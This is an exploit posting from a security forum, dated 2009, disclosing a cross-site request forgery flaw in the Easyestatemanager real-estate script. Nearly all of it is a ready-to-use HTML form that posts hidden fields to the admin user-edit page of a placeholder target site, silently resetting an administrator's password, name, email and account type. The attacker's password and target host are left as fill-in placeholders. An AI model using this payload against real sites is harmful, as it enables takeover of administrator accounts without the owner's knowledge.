easyestatemanager ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > easyestatemanager ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWCaspeR
	Date : 05.11.2009 00:05:12
	# easyestatemanager ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Easyestatemanager # Vulnerable Type : XSRF # Infection : Yönetici Bilgileri Degistirilebilir. # author : CWCaspeR - Bug Researchers # Demo : http://www.easyestatemanager.net/demo/us/admin/ ############################################################# < ------------------- header data end of ------------------- > <form name=form method=post action=http://HEDEFSITE.COM/scriptyolu/Admin/system_user_edit.php> <input name=user_id type=hidden value=2/> <input type=hidden name=user_password value=SIFRENIZZZZ class=textbox style=width:130px id=box_user_password /> <input type=hidden name=required_user_password value=text /> <input type=hidden name=user_firstname value=Ignatius class=textbox style=width:250px id=box_user_firstname /> <input type=hidden name=required_user_firstname value=text /> <input type=hidden name=user_lastname value=Wong class=textbox style=width:250px id=box_user_lastname /> <input type=hidden name=required_user_lastname value=text /> <input type=hidden name=user_email value=ignatius@solutionsunited.com class=textbox style=width:250px id=box_user_email /> <input type=hidden name=required_user_email value=email /> <input type=hidden name=user_type class=textbox id=box_user_type value=full> <input type=hidden name=required_user_type value=text /> <input type=submit name=smt_adduser value=BUTONADI style=width:130px /> </form> < -- bug code end of -- >